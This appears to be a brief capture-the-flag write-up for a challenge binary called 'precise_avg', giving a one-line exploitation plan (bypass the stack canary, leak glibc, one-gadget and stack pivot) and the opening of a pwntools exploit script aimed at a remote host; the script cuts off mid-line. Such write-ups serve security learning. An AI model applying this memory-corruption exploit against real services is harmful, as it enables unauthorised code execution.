Rating:
Jump over stack canary, leak glibc, write one shoot magic gadget and stack pivot to it.
```#!/usr/bin/env python
# coding: utf-8
import struct
from pwn import *
elf = ELF("precise_avg.elf")
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
context.arch = "amd64"
context.terminal = ["tmux", "sp", "-h"]
io = remote("82.196.10.106", 12499)
def get_float(dw):
return str(struct.unpack_from("d", struct.pack("